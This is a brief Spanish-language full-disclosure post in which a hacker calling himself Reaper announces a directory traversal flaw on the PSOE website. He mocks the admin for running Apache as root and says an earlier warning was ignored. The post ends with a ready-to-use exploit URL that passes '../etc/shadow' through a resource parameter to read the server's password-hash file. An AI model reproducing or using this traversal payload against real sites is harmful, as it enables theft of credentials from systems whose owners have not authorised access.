PSOE.ES Directory Traversal by Reape

www.psoe.es Directory Traversal vulnerability found by Reaper.

Compañero de clase: Boh, tu te estás riendo mucho. ¿Ya has hackeado al gobierno o algo así?
Reaper: afdasfdafdsadfasdfa xDDDDDDD Mierda, algunos me conocen demasiado bien.



BTW, ¿qué idiota ejecutaría el servidor apache como root? Supongo que la inutilidad se puede demostrar de muchas maneras...Que conste, hago un full disclosure tras haber avisado al admin con toda mi buena voluntad y haber sido ignorado vilmente.





URL: http://www.psoe.es/contents/showResource.do?urlRsr=../etc/shadow